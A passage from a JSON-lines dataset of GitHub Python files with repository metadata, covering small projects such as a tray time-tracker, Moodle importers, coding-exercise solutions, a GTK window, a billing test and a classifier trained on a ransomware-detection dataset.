pystray.Menu.SEPARATOR,\n                pystray.MenuItem('quit', self.after_click),\n            )\n        )\n\n        # Register sigterm handler\n        signal.signal(signal.SIGTERM, self.sigterm_handler)\n\n    def after_click(self, icon, query):\n        if str(query) == \"quit\":\n            logger.info(\"quit by user\")\n            self.lockscreen.stop()\n            icon.stop()\n        elif str(query) == 'show time today':\n            self.ledger.update_in_out()\n            today_time = self.ledger.get_today()\n            self.app.notify(f\"Start: {today_time.intime}. Time elapsed: {today_time.total}\\n\"\n                            f\"Breaks {today_time.num_breaks} - {today_time.break_time}\",\n                            \"Bundyclock\")\n        elif str(query) == \"take a break\":\n            self.ledger.take_a_break()\n\n    def sigterm_handler(self, *args, **kwargs):\n        \"\"\" Gracefully shutdown, put last entry to time logger\"\"\"\n        self.ledger.out_signal()\n        self.lockscreen.stop()\n        self.app.stop()\n        logger.info(\"Killed by sigterm, shutting down\")\n\n    def setup_lockscreen_loop(self, icon):\n        self.lockscreen = LockScreen(self.ledger)\n        icon.visible = True\n        self.lockscreen.start()\n\n    def run(self):\n        self.app.run(self.setup_lockscreen_loop)\n","repo_name":"dahallgren/bundyclock","sub_path":"bundyclock/lockscreen.py","file_name":"lockscreen.py","file_ext":"py","file_size_in_byte":5289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17714939153","text":"from dss.importers.db_importer import PostgresDBImporter\nfrom ssis_dss.moodle.MoodleInterface import MoodleInterface\nimport ssis_dss_settings\nfrom collections import defaultdict\n\nclass MoodleImporter(PostgresDBImporter, MoodleInterface):\n    _settings = ssis_dss_settings['SSIS_DB']\n    reader = None\n\n    def readin(self):\n        \"\"\"\n        \"\"\"\n        return []\n\nclass MoodleStudentsImporter(MoodleImporter):\n    def readin(self):\n        users = self.import_students_with_links('studentsALL')\n\n        for student, parent in users:\n            yield {\n                'idnumber':student.idnumber, \n                'firstname':student.firstname, \n                'lastname':student.lastname,\n                'auth': student.auth,\n                'username': student.username,\n                'homeroom': student.department,\n                'parents': [parent.idnumber],\n            }\n\nclass MoodleParentsImporter(MoodleImporter):\n    def readin(self):\n        # Build cohort information to be used below\n\n        parents = self.users_enrolled_in_this_cohort('parentsALL')\n\n        for parent in parents:\n\n            yield {\n                'idnumber':parent.idnumber, \n                'firstname':parent.firstname, \n                'lastname':parent.lastname,\n                'auth': parent.auth,\n                'username': parent.username,\n                'email': parent.email,\n                'homeroom': parent.department,\n            }\n\nclass MoodleTeachersImporter(MoodleImporter):\n    def readin(self):\n        for user in self.users_enrolled_in_this_cohort('teachersALL'):\n            #idnumber _dbid lastfirst email title status active dunno\n            yield {\n                'idnumber': user.idnumber,\n                'firstname': user.firstname,\n                'lastname':user.lastname,\n                'username':user.username,\n                'email': user.email,\n            }\n\n# Users is a hybrid\n\nclass MoodleParentChildLinkImporter(MoodleImporter):\n    def readin(self):\n        users = self.import_parents_with_links('parentsALL')\n        for parent, student in users:\n            yield {\n                'idnumber': student.idnumber,\n                'links': set([parent.idnumber])\n            }\n            yield {\n                'idnumber': parent.idnumber,\n                'links': set([student.idnumber])\n            }\n\n\nclass StrandedUsersTable(MoodleImporter):\n    def readin(self):\n        for user in self.get_rows_in_table('users'):\n            if user.idnumber and not self._tree.users.get(user.idnumber):\n                yield {\n                    'idnumber': user.idnumber,\n                    'object': user\n                }\n        return []\n\nclass MoodleCohortsImporter(MoodleImporter):\n    def readin(self):\n        for user_idnumber, cohort_idnumber in self.get_cohorts():\n            user = self._tree.users.get(user_idnumber)\n            if not user:\n                continue\n            yield {\n                'idnumber': cohort_idnumber,\n                'members': [user_idnumber],\n            }\n\nclass MoodleScheduleImporter(MoodleImporter):\n    \"\"\"\n    This is just a placeholder. Autosend side needs to import the schedule from which to derive enrollments\n    But Moodle already has enrollments, and doesn't need the schedule.\n    \"\"\" \n    def readin(self):\n        for schedule in self.bell_schedule():\n            course, idnumber, username, role, group, group_name = schedule\n            user = self._tree.users.get(idnumber)\n\n            yield {\n                'user_idnumber': idnumber,\n                'course': course,\n                'group': group,\n                'role': role\n            }\n\nclass MoodleCourseImporter(MoodleImporter):\n    def readin(self):   \n        for item in self.get_teaching_learning_courses():\n            yield {\n                'idnumber': item.idnumber,\n                'moodle_shortcode': item.idnumber,\n                'name': item.fullname,\n                '_dbid': item.database_id\n            }\n\nclass MoodleGroupImporter(MoodleImporter):\n    # FIXME: Have a setting that allows to filter out\n    # def filter_out(self, **kwargs):\n    #     return len(kwargs['idnumber'].split('-')) != 3\n\n    def readin(self):\n        for group_id, group_idnumber, course_idnumber, user_idnumber in self.get_groups():\n            if '-' in group_idnumber:\n                split = group_idnumber.split('-')\n                if len(split) == 4:\n                    grade = split[-2]\n                elif len(split) == 3:\n                    # may not have been migrated yet\n                    grade = ''\n                teacher = split[0]\n                section = split[-1]\n            else:\n                section = ''\n                grade = ''\n                teacher = ''\n\n            if not group_idnumber:\n                # Manual groups can be created without idnumber, in which case we should just move on\n                continue\n\n            yield {\n                'idnumber': group_idnumber,\n                'grade': grade,\n                'section': section,\n                '_short_code': '',\n                '_id': group_id,\n                'course': course_idnumber,\n                'members': set([user_idnumber])\n            }\n\n        for group, course in self.get_all_groups():\n            if not group.idnumber:\n                continue\n\n            if '-' in group.idnumber:\n                split = group.idnumber.split('-') \n                section = group.idnumber.split('-')[-1]\n                if len(split) == 4:\n                    grade = split[-2]\n                else:\n                    grade = ''\n            else:\n                section = ''\n\n            yield {\n                'idnumber': group.idnumber,\n                'grade': grade,\n                'section': section,\n                'course': course.idnumber,\n                '_id': group.id,\n                'members': set()\n            }\n\n\nclass MoodleEnrollmentsImporter(MoodleImporter):\n\n    def readin(self):\n        \"\"\"\n\n        TODO: This is wrong, maybe just do another SQL \n\n        \"\"\"\n        for key in self._tree.schedule.keys():\n            schedule = self._tree.schedule.get(key)\n            user_idnumber = schedule.user_idnumber\n            course = schedule.course\n            group = schedule.group\n            role = schedule.role\n\n            yield {\n                'idnumber': user_idnumber,\n                'courses': [course],\n                'groups': ['' if group is None else group],\n                'roles': [role]\n            }\n\n","repo_name":"brainysmurf/ssisdss","sub_path":"ssis_dss/importers/moodle_importers.py","file_name":"moodle_importers.py","file_ext":"py","file_size_in_byte":6537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32798027479","text":"import sys\nsys.stdin = open('4875_미로_input.txt', 'r')\n\n\ndef find_start():\n    for y in range(N):\n        for x in range(N):\n            if maze[y][x] == 2:\n                return x, y\n\n\n# 동 서 남 북\ndx = [1, -1, 0, 0]\ndy = [0, 0, 1, -1]\ndef go_maze(start_x, start_y):\n    stack = [(start_x, start_y)]\n    visit = [[False for _ in range(N)] for _ in range(N)]\n    visit[start_y][start_x] = True\n    while stack:\n        x, y = stack[-1]\n        pre_x, pre_y = x, y\n        for d in range(4):\n            nx = x + dx[d]\n            ny = y + dy[d]\n            if 0 <= nx < N and 0 <= ny < N and visit[ny][nx] == False:\n                if maze[ny][nx] == 0: \n                    stack.append((nx, ny))\n                    visit[ny][nx] = True\n                    x, y = stack[-1]\n                    break\n                elif maze[ny][nx] == 3:\n                    return 1\n        if pre_x == x and pre_y == y:\n            stack.pop()\n    return 0\n\n\nT = int(input())\nfor t in range(T):\n    N = int(input())\n    maze = [list(map(int, list(input()))) for _ in range(N)]\n\n    x, y = find_start()\n    \n    print('#{} {}'.format(t+1, go_maze(x, y)))","repo_name":"mycomax0416/SWEA","sub_path":"20190812/4875_미로.py","file_name":"4875_미로.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4017604337","text":"import gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk\n\nclass ComboBoxWindow(Gtk.Window):\n\n    def __init__(self):\n        Gtk.Window.__init__(self, title=\"IoT Gateway: Connected Nodes\")\n\n        self.maximize()\n\n        name_store = Gtk.ListStore(int, str)\n        name_store.append([1,  \"Node 1: IP_Addr1\"])\n        name_store.append([11, \"Node 2: IP_Addr2\"])\n        name_store.append([12, \"Node 3: IP_Addr3\"])\n        name_store.append([2,  \"Node 4: IP_Addr4\"])\n        name_store.append([3,  \"Node 5: IP_Addr5\"])\n        name_store.append([31, \"Node 6: IP_Addr6\"])\n\n        self.OKButton = Gtk.Button(\"    OK    \")\n        self.OKButton.connect('clicked', self.on_ok_clicked)\n        self.CancelButton = Gtk.Button(\"  Cancel  \")\n        self.CancelButton.connect('clicked', self.on_cancel_clicked)\n\n        MyLabel = Gtk.Label(\"Select Sensor Node from below list\")\n\n        name_combo = Gtk.ComboBox.new_with_model_and_entry(name_store)\n        name_combo.connect(\"changed\", self.on_name_combo_changed)\n        name_combo.set_entry_text_column(1)\n\n        self.fix = Gtk.Fixed()\n        self.fix.put(MyLabel,40,50)\n        self.fix.put(name_combo, 40, 80)\n        self.fix.put(self.OKButton, 400, 80)\n        self.fix.put(self.CancelButton, 400,150)\n        self.add(self.fix)\n\n    def on_changed(self, widget):\n      self.label.set_label(widget.get_active_text())\n\n    def on_name_combo_changed(self, combo):\n        tree_iter = combo.get_active_iter()\n        if tree_iter is not None:\n            model = combo.get_model()\n            row_id, name = model[tree_iter][:2]\n            print(\"Selected: ID=%d, name=%s\" % (row_id, name))\n        else:\n            entry = combo.get_child()\n            print(\"Entered: %s\" % entry.get_text())\n\n    def on_country_combo_changed(self, combo):\n        tree_iter = combo.get_active_iter()\n        if tree_iter is not None:\n            model = combo.get_model()\n            country = model[tree_iter][0]\n            print(\"Selected: country=%s\" % country)\n\n    def on_currency_combo_changed(self, combo):\n        text = combo.get_active_text()\n        if text is not None:\n            print(\"Selected: currency=%s\" % text)\n    #\n    # Callback for \"OK\" button clicked.\n    #\n    def on_ok_clicked(self, widget):\n        # save the opted drop down option (Node - IP).\n        import sensorDataDisplay\n        gui = sensorDataDisplay.SensorDataWindow()\n        gui.show_all()\n        # self.destroy()\n\n    #\n    # Callback for \"Cancel\" button clicked.\n    #\n    def on_cancel_clicked(self, widget):\n        self.destroy()\n\n\n\nwin = ComboBoxWindow()\nwin.connect(\"destroy\", Gtk.main_quit)\nwin.show_all()\nGtk.main()\n","repo_name":"subodhsvs/X-LINUX-SUB1GHz","sub_path":"gatewayGUI/gui/IP_Window.py","file_name":"IP_Window.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24429407892","text":"# reverse cipher\n\n# this code will reverse the message in reverse order\n\nmessage_text = input(\"Type your message here: \")\nprint(\"Your text is printed below\\n\",message_text)\nreverse_message = ''\n\ni = len(message_text)-1 # index variable for input message\n\nwhile i>=0:\n\treverse_message = reverse_message + message_text[i]\n\ti-=1\nprint(\"Your reverse cipher code is printed below\")\nprint(reverse_message)\n","repo_name":"BanarasiVaibhav/Cryptography_Python","sub_path":"reverse_cipher.py","file_name":"reverse_cipher.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29051825797","text":"# -*- coding: utf-8 -*-\n\n__author__ = 'sandyk'\n\nimport datetime\n\nimport allure\nimport pytest\n\nimport balance.balance_api as api\nfrom balance import balance_steps as steps\nfrom balance.features import Features\n\nDT = datetime.datetime.now()\nPERSON_TYPE = 'ph'\nPAYSYS_ID = 1001\nSERVICE_ID = 129\nNON_CURRENCY_PRODUCT_ID = 508896\nFIRM_ID = 1\nMAIN_DT = datetime.datetime.now()\nSHIPMENT_DT = MAIN_DT.replace(minute=0, hour=0, second=0, microsecond=0)\nQTY = 49999.99\nSTART_DT = str(datetime.datetime.now().strftime(\"%Y-%m-%d\")) + 'T00:00:00'\n\n\n# 502962\n@pytest.mark.slow\n@allure.feature(Features.OVERDRAFT)\n@pytest.mark.tickets('BALANCE-22004 ')\ndef test_fair_overdraft_mv_client():\n    client_id = steps.ClientSteps.create(params={'IS_AGENCY': 0})\n    # steps.ClientSteps.link(client_id,'yndx-web-test-uid-1')\n    person_id = steps.PersonSteps.create(client_id, PERSON_TYPE)\n    contract_id = None\n    # contract_id = steps.ContractSteps.create_contract_new('no_agency', {'CLIENT_ID': client_id,\n    #                                                                              'PERSON_ID': person_id,\n    #                                                                             'IS_FIXED': START_DT, 'DT': START_DT, 'IS_SIGNED': START_DT,\n    #                                                                               'FIRM': FIRM_ID, 'SERVICES':[SERVICE_ID],\n    #                                                                         'PAYMENT_TYPE':2,\n    #     'UNILATERAL':1,\n    #  'CURRENCY':810})[0]\n\n    service_order_id = steps.OrderSteps.next_id(SERVICE_ID)\n    order_id = steps.OrderSteps.create(client_id, service_order_id, NON_CURRENCY_PRODUCT_ID, SERVICE_ID,\n                                       {'TEXT': 'Py_Test order', 'AgencyID': None, 'ManagerUID': 403026233})\n\n    orders_list = [\n        {'ServiceID': SERVICE_ID, 'ServiceOrderID': service_order_id, 'Qty': QTY\n            , 'BeginDT': DT\n         }\n    ]\n\n    api.medium().GetPersonalAccount(\n        {'PersonID': person_id, 'PaysysID': 1128, 'FirmID': FIRM_ID, 'ProductID': NON_CURRENCY_PRODUCT_ID})\n    request_id = steps.RequestSteps.create(client_id=client_id, orders_list=orders_list\n                                           , additional_params=dict(InvoiceDesireType='charge_note',\n                                                                    FirmID=FIRM_ID))\n    ##InvoiceDesireType = 'charge_note',\n    invoice_id, _, _ = steps.InvoiceSteps.create(request_id=request_id, person_id=person_id, paysys_id=PAYSYS_ID,\n                                                 credit=0, contract_id=contract_id, overdraft=0, endbuyer_id=None)\n    # steps.InvoiceSteps.pay(invoice_id)\n    # steps.CampaignsSteps.do_campaigns(SERVICE_ID, service_order_id, {'Money': 90}, 0, campaigns_dt=MAIN_DT)\n    # steps.ActsSteps.generate(client_id, 1, MAIN_DT)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/temp/sandyk/apikeys.py","file_name":"apikeys.py","file_ext":"py","file_size_in_byte":2831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40240423581","text":"from collections import Generator\nfrom random import random\n\n\ndef roulette(values, s=None):\n  \"\"\"\n  Select one index from values.\n\n  The probability to choose index k is proportional to values[k], i.e., values[k] / sum(values).\n\n  :param values: List with values corresponding to the probability to choose index k.\n  :param s: Sum of values. This may speed up the algorithm.\n  :return: An integer in range [0, len(values)), the chosen index.\n  \"\"\"\n  if s is None:\n    if isinstance(values, Generator):\n      values = list(values)\n    s = sum(values)\n  assert s > 0, \"Sum of values must be > 0: {}\".format(values)\n\n  r = random()\n  for i, x in enumerate(v / s for v in values):\n    assert x >= 0, \"Negative values aren't allowed: {} at index {}\".format(x, i)\n    r -= x\n    if r < 0:\n      return i\n  return len(values) - 1\n","repo_name":"abrunoaa/Metaheuristics-Python","sub_path":"src/util/random_util.py","file_name":"random_util.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"56805371","text":"from aiohttp import web\nfrom .indexes import PrefixTreeIndex, RotatedPrefixTreeIndex, SoundexIndex\nfrom .queries import SpellingIndexes, parse_query\n\n\nindexes = SpellingIndexes(\n    rotated=RotatedPrefixTreeIndex(),\n    prefix=PrefixTreeIndex(),\n    soundex=SoundexIndex()\n)\n\n\nasync def handle_store_tokens(request: web.Request):\n    body = await request.json()\n    tokens = body['tokens']\n    indexes.rotated.add(tokens)\n    indexes.prefix.add(tokens)\n    indexes.soundex.add(tokens)\n    return web.json_response({'status': 'ok'})\n\n\nasync def handle_parse_query(request: web.Request):\n    body = await request.json()\n    query = body['query']\n    return web.json_response({'result': parse_query(query, indexes)})\n\n\napp = web.Application()\napp.add_routes([\n    web.post('/storeTokens', handle_store_tokens),\n    web.post('/parseQuery', handle_parse_query)\n])\n","repo_name":"ionagamed/iu-ir-lab-04","sub_path":"python_services/services/secondary/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20672360128","text":"import re\n\ndef get_nested(dct, *keys):\n    for key in keys:\n        try:\n            dct = dct[key]\n        except (KeyError, TypeError):\n            return None\n    return dct\n\ndef extract(string, pattern):\n\n    found = re.search(pattern, string)\n    if found:\n        return found.group(0)\n    else:\n        return ''\n","repo_name":"PennLINC/FlyBIDS","sub_path":"FlyBIDS/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"31139639707","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution(object):\n    def pathSum(self, root, sum):\n        \"\"\"\n        :type root: TreeNode\n        :type sum: int\n        :rtype: List[List[int]]\n        \"\"\"\n        if not root:\n            return []\n            \n        queue = [root]\n        root.currSum = root.val\n        root.parent = None\n        sum_nodes = []\n        while len(queue) > 0:\n            currNode = queue.pop(0)\n            if not currNode.left and not currNode.right:\n                if currNode.currSum == sum:\n                    sum_nodes.append(currNode)\n            if currNode.left:\n                currNode.left.currSum = currNode.currSum + currNode.left.val\n                currNode.left.parent = currNode\n                queue.append(currNode.left)\n            if currNode.right:\n                currNode.right.currSum = currNode.currSum + currNode.right.val\n                currNode.right.parent = currNode\n                queue.append(currNode.right)\n        \n        sum_paths = []\n        for node in sum_nodes:\n            path = []\n            while node.parent:\n                path.append(node.val)\n                node = node.parent\n            path.append(node.val)\n            sum_paths.append(path[::-1])\n        return sum_paths","repo_name":"jw122/exercises","sub_path":"trees/path-sum-ii.py","file_name":"path-sum-ii.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"39658635759","text":"#training models AI\nfrom random import randint\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn import metrics\n\n#import sklearn.external.joblib as extjoblib\nimport joblib\n\nimport pandas as pd\nimport numpy as np\nimport random as rnd\nimport time\n\n\ndef train_model():\n    \n    df = pd.read_csv('Sample_RanSap.csv', sep=\",\")\n    features = list(df.columns)\n    X = df[features[:len(features)-2]]\n    Y = df[features[-1]] #to predict dange\n    \n    n_estimators=np.arange(5, 20, 5).tolist()\n    criterion = [\"gini\", \"entropy\"]\n    splitters = [\"best\", \"random\"]\n    \n    model_RFC = RandomForestClassifier()\n    model_DTC = DecisionTreeClassifier()\n    \n    #temporal variable to check some results\n    accuracy_list_RFC = []\n    accuracy_list_DTC = []\n    accuracy = 0.0\n    \n    print(\"Creating and training RFC Model...\")\n    print()\n    \n    start_time_0 = time.time() \n    \n    for estimator in n_estimators:\n        for criteria in criterion:\n            X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.3)\n            new_model = RandomForestClassifier(n_estimators=estimator, criterion=criteria)\n            new_model.fit(X_train, y_train)\n            \n            accuracy_temp = new_model.score(X_test, y_test)\n            accuracy_list_RFC.append(accuracy_temp)\n            \n            if accuracy_temp>accuracy:\n                accuracy=accuracy_temp\n                model_RFC = new_model\n\n            #print(\"({}, {})\".format(estimator, criteria))\n    finalexectime_0 = time.time() - start_time_0        \n    print(\"Creating and training DTC Model...\")\n    print()\n    \n    accuracy = 0.0\n    start_time_1 = time.time() \n    for criteria in criterion:\n        for splitter_ in splitters:\n            X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.3)\n            new_model = DecisionTreeClassifier(criterion=criteria, splitter=splitter_)\n            new_model.fit(X_train, y_train)\n            \n            accuracy_temp = new_model.score(X_test, y_test)\n            accuracy_list_DTC.append(accuracy_temp)\n            \n            if accuracy_temp>accuracy:\n                accuracy=accuracy_temp\n                model_DTC = new_model\n                \n            #print(\"({}, {})\".format(criteria, splitter_))\n    finalexectime_1 = time.time() - start_time_1\n            \n    joblib.dump(model_RFC, \"RFC_model.joblib\")\n    joblib.dump(model_DTC, \"DTC_model.joblib\")\n    \n    '''print()\n    print(\"RFC accuracy results:\")\n    print(accuracy_list_RFC)\n    print()\n    print(\"DTC accuracy results:\")\n    print(accuracy_list_DTC)\n    print()'''\n    \n    return accuracy_list_RFC, accuracy_list_DTC, finalexectime_0, finalexectime_1\n    \n    \n\ndef predict():\n    print(\"Predicting results...\")\n    \n    model_RFC = joblib.load(\"RFC_model.joblib\")\n    model_DTC = joblib.load(\"DTC_model.joblib\")\n \n    #Predict and classify the given data\n    \n    file = \"./RanSAP/dataset/original/win7-120gb-hdd/Firefox/Firefox-20210610_23-43-40/ata_write.csv\"\n    X_test = pd.read_csv(file, sep=\",\", names= ['Timestamp [s]', 'Timestamp [μs]','LBA','Size Block [byte]', 'Shannon Entropy 1','Shannon Entropy 2'])\n    \n    row = rnd.randint(0,len(X_test))\n    X_new = pd.DataFrame(columns=X_test.columns)\n    X_new = X_new.append(X_test.iloc[row])\n    \n    predict_RFC = model_RFC.predict(X_new)\n    predict_DTC = model_DTC.predict(X_new)\n    \n    print(\"Predictions: \")\n    print(\"RFC: \",predict_RFC[0])\n    print(\"DTC: \",predict_DTC[0])\n    \n    print(\"Actual classification: \")\n    print(\"Benign\")\n    ","repo_name":"ACSBSC/URV_MESIIA_Thesis","sub_path":"ml_train.py","file_name":"ml_train.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6845281390","text":"def romanToInt(s: str) -> int:\n    d = {\n        \"I\": 1,\n        \"V\" : 5,\n        \"X\" : 10,\n        \"L\" : 50,\n        \"C\" : 100,\n        \"D\" : 500,\n        \"M\" : 1000\n    }\n    \n    res = 0\n    value = lambda x : d.get(s[x])\n    skipped = False\n    i = 0\n    if len(s) <1:\n        for i in range(len(s)-1):\n            if skipped:\n                skipped = False\n                continue\n            if value(i) >= value(i+1):\n                res += value(i)\n            else: \n                res += value(i+1) - value(i)\n                skipped = True\n        \n        if not skipped:\n            res += value(i+1)\n    else: res += d.get(s)\n    return res\n\nprint(romanToInt(input()))","repo_name":"ralfseduards/vscode-main","sub_path":"classes/new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37635505500","text":"import requests\nimport re\nfrom Bio import Phylo, SeqIO\nfrom io import StringIO\n\n\ndef family_seq(families, form='fasta', type='full', download = False, path = None):\n    \"\"\"This function search for sequences of the family in format and form specified by the user.\n\n    :param families: Id or accession of the family, or list of the families names\n    :type families: str or list\n    :param form: Output format of ssequences. Available: fasta, selex, stockholm, msf, defaults to fasta\n    :type form: str, optional\n    :param type: A type of the sequences from the fmaily site. Available: full, seed, defaults to full\n    :type type: str, optional\n    :param download: 'True' if download to the file, defaults to False\n    :type download: bool optional\n    :param path: path to the outpur file if download is True\n    :type path: str, optional\n    :return: List of SeqIO type objects\n    :rtype: list\n    \"\"\"\n    result = []\n    forms = ['fasta', 'selex', 'stockholm', 'msf']\n    types = ['seed', 'full']\n    if form not in forms:\n        raise ValueError(\"form can be one of following: fasta, selex, stockholm, msf\")\n    if type not in types:\n        raise ValueError(\"type can be one of following: seed, full\")\n    if not isinstance(families, (list, str)):\n        raise ValueError(\"incorrect type of families name\")\n    if isinstance(families, str):\n        families = [families]\n    for family in families:\n        print('Now downloading: %s' %family)\n        url = 'https://pfam.xfam.org/family/%s' % family\n        url += '/alignment/%s' % type\n        url += '/format?format=%s&alnType=%s&order=a&case=l&gaps=dashes&download=1' % (form, form)\n        r = requests.get(url, allow_redirects=True)\n        r.raise_for_status()\n        if form != 'selex':\n            result.append(SeqIO.parse(StringIO(r.text), form))\n        else:\n            result.append(r.text)\n        if download:\n            if path is not None:\n                pathname = '%s/%s.%s' % (path, family, form)\n            else:\n                pathname = '%s.%s' % (family, form)\n            f = open(pathname, 'w').write(r.text)\n    return result\n\ndef clan_members(clans):\n    \"\"\"This function return the dictionary of pfam families belonging to the clans\n    \n    :param clans: list or string with the name of the clan\n    :type path: list/str\n    :return: Ditionary of clan name as key and clan members as value\n    :rtype: dict\n\n    \"\"\"\n    result = {}\n    if not isinstance(clans, (list, str)):\n        raise ValueError(\"incorrect type of clan name\")\n    if isinstance(clans, str):\n        clans = [clans]\n    for clan in clans:\n        clan_url = 'https://pfam.xfam.org/clan/%s#tabview=tab2' % clan\n        r_clan = requests.get(clan_url, allow_redirects=True)\n        r_clan.raise_for_status()\n        families = re.findall('PF[0-9]{5}',r_clan.text)\n        result[clan] = families\n    return result\n\ndef family_tree(families, download=False, path=None):\n    \"\"\"This function search for phylogenetic tree of the family in the Newick format.\n\n    :param families: Id or accession of the family, or list of the families names\n    :type families: str or list\n    :param download: 'True' if download to the file, defaults to False\n    :type download: bool optional\n    :param path: path to the outpur file if download is True\n    :type path: str, optional\n    :return: List of PhyloIO type objects\n    :rtype: list\n    \"\"\"\n    result = []\n    if not isinstance(families, (list, str)):\n        raise ValueError(\"incorrect type of families name\")\n    if isinstance(families, str):\n        families = [families]\n    for family in families:\n        url = 'https://pfam.xfam.org/family/%s/tree/download' % family\n        r = requests.get(url, allow_redirects=True)\n        r.raise_for_status()\n        tree = Phylo.read(StringIO(r.text), \"newick\")\n        result.append(tree)\n        if download:\n            if path is not None:\n                pathname = '%s/%s.nhx' % (path, family)\n            else:\n                pathname = '%s.nhx' % (family)\n            f = open(pathname, 'w').write(r.text)\n    return result\n\n\ndef get_alternative(families):\n    \"\"\"This function give alternative name for the family - for id it gves accession,\n    for accession - gives id.\n\n    :param families: Id or accession of the family\n    :type families: str or list\n    :return: Dictionary with the accession as key and id as value\n    :rtype: dict\n    \"\"\"\n    results = {}\n    if not isinstance(families, (list, str)):\n        raise ValueError(\"incorrect type of families name\")\n    if isinstance(families, str):\n        families = [families]\n    for family in families:\n        url = 'https://pfam.xfam.org/family/%s' % family\n        r = requests.get(url, allow_redirects=True)\n        r.raise_for_status()\n        titles = re.search('<h1>Family:.+?</h1>', r.text).group()\n        acc = titles[titles.find(\"(\")+1:titles.find(\")\")]\n        id_pfam = titles[titles.find(\"<em>\")+4:titles.find(\"</em>\")]\n        if family == acc:\n            results[acc] = id_pfam\n        else:\n            results[id_pfam] = acc\n    return results\n\ndef go_terms(family):\n    \"\"\"This function give go terms connected to the pfam family\n\n    :param families: Id or accession of the family\n    :type families: str\n    :return: Set of go terms\n    :rtype: set\n    \"\"\"\n    url = 'https://pfam.xfam.org/family/%s' % family\n    r = requests.get(url, allow_redirects=True)\n    r.raise_for_status()\n    gos = set(re.findall('GO:[0-9]+', r.text))\n    return gos\n","repo_name":"JuliaGol/PARS","sub_path":"pars/pfam_sequences.py","file_name":"pfam_sequences.py","file_ext":"py","file_size_in_byte":5493,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"74306349200","text":"'''\n--- Day 4: Security Through Obscurity ---\n\nFinally, you come across an information kiosk with a list of rooms. Of course, the list is encrypted and full of decoy data, but the instructions to decode the list are barely hidden nearby. Better remove the decoy data first.\n\nEach room consists of an encrypted name (lowercase letters separated by dashes) followed by a dash, a sector ID, and a checksum in square brackets.\n\nA room is real (not a decoy) if the checksum is the five most common letters in the encrypted name, in order, with ties broken by alphabetization. For example:\n\naaaaa-bbb-z-y-x-123[abxyz] is a real room because the most common letters are a (5), b (3), and then a tie between x, y, and z, which are listed alphabetically.\na-b-c-d-e-f-g-h-987[abcde] is a real room because although the letters are all tied (1 of each), the first five are listed alphabetically.\nnot-a-real-room-404[oarel] is a real room.\ntotally-real-room-200[decoy] is not.\nOf the real rooms from the list above, the sum of their sector IDs is 1514.\n\nWhat is the sum of the sector IDs of the real rooms?\n\n'''\n\nimport itertools\nimport re\n\nmy_input = open('day4_input.txt').read().strip()\n\ndef split_room_code(line):\n    # here's some cargo culting for you, never use '.*' in your re to capture things of unknown length.\n    # instead use the index of the smaller thing you want to match or split on.\n    code_re = re.compile('(\\d+)\\[(\\w+)\\]$')\n    m = code_re.search(line)\n    assert m, (\"bad input\", line)\n    digits, checksum = m.groups()\n    letters = line[:m.start()]  # everything we didn't capture using a '.*'\n    return letters, digits, checksum\n\n# test first two lines of input\nassert ('gbc-frperg-pubpbyngr-znantrzrag-', '377', 'rgbnp') == \\\n    split_room_code('gbc-frperg-pubpbyngr-znantrzrag-377[rgbnp]')\nassert ('nij-mywlyn-wlsiayhcw-jfumncw-alumm-mbcjjcha-', '422', 'mcjwa') == \\\n    split_room_code('nij-mywlyn-wlsiayhcw-jfumncw-alumm-mbcjjcha-422[mcjwa]')\n\n\ndef top_5_letters(letters):\n    letters = sorted(list(letters.replace('-', '')))\n    care_letters = ''\n    # the award for worst interface in the stdlib goes to itertools.groupby()\n    for k, iter_of_ks in itertools.groupby(letters):\n        # ugh. it is never useful to consume the results of itertoos.groupby() directly\n        # so instead throw this away and do something with a comprehension of it.\n        pass  # fuck me, fuck this trash.\n    grouped = [(k, len(list(subiter))) for k, subiter in itertools.groupby(letters)]\n    grouped.sort(key=lambda x:x[1], reverse=True)  # most popular first\n    return sorted([letter for letter, count in grouped[:5]])\n\nassert list('abc') == top_5_letters('a-b-c')\nassert list('abc') == top_5_letters('cba')\nassert list('abcde') == top_5_letters('gfeeddccba'), top_5_letters('gfeeddccba')\n\ndef main():\n    total = 0\n    for line in my_input.split('\\n'):\n        letters, digits, checksum = split_room_code(line)\n        want_checksum = ''.join(top_5_letters(letters))\n        checksum = 